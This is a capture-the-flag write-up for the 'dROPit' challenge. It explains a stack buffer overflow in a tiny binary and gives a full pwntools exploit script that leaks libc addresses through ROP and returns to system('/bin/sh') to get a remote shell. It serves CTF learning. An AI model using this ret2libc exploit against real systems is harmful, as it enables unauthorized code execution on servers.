Tags: pwntools libc-database 

Rating:

# dROPit [300]
You're on your own this time. Can you get a shell?

`nc challenges.ctfd.io 30261`

-asphyxia

Hint: https://libc.rip

Files: `dropit`

### This challenge was done rapidly with [`pwnscripts`](https://github.com/152334H/pwnscripts). Try it!
## The file
```
[*] '/dropit'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
```
```c
int main() {
char s[0x30]; // [rsp+0h] [rbp-30h]
setvbuf(_bss_start, 0, 2, 0);
puts("?");
fgets(s, 0x64, stdin); //overflow
}
```
That's it. A BOF of `0x64-0x38 == 44` characters. There's basically nothing else inside the binary itself, so what we have to do is
1. Leak out the libc base & version. We'll do this by
* overflowing with a padding of 0x38,
* using ROP to set RDI to (one of) the functions on the GOT (these addresses are hardcoded at `0x403FB0`+ due to `No PIE`)
* jumping to `puts()` on the `.plt` section to print the value at RDI (which is a libc address)
* passing this information to the [`libc-database`](https://github.com/niklasb/libc-database) to identify the libc version & libc base
* as per usual, this can be prototyped extremely quickly with [`pwnscripts`](https://github.com/152334H/pwnscripts)
2. get a shell from libc. This is done with the pop RDI gadget from earlier && returning to libc's `system()` function.

```python
from pwnscripts import *
context.binary = 'dropit'
context.libc_database = 'libc-database'
GOT_FUNCS = list(context.binary.got.keys())[-3:]
r = remote('challenges.ctfd.io', 30261)

def resolve_GOT(f: str) -> bytes:
'''get the libc address of GOT function f'''
R = ROP(context.binary)
R.raw(0x38*b'a')
R.puts(context.binary.got[f])
R.main()
r.sendlineafter('?\n', R.chain())
return unpack_bytes(r.recvline(),6)

libc_dict = dict((f,resolve_GOT(f)) for f in GOT_FUNCS)
context.libc = context.libc_database.libc_find(libc_dict)

R = ROP(context.libc)
R.raw(0x38*b'a')
R.raw(R.ret.address)
R.system(context.libc.symbols['str_bin_sh'])
r.sendlineafter('?\n', R.chain())
r.interactive()
```
Note that a `ret` gadget has to be added before the `system()` call to prevent a crash on `movaps`. See the Common Pitfalls section [here](https://ropemporium.com/guide.html)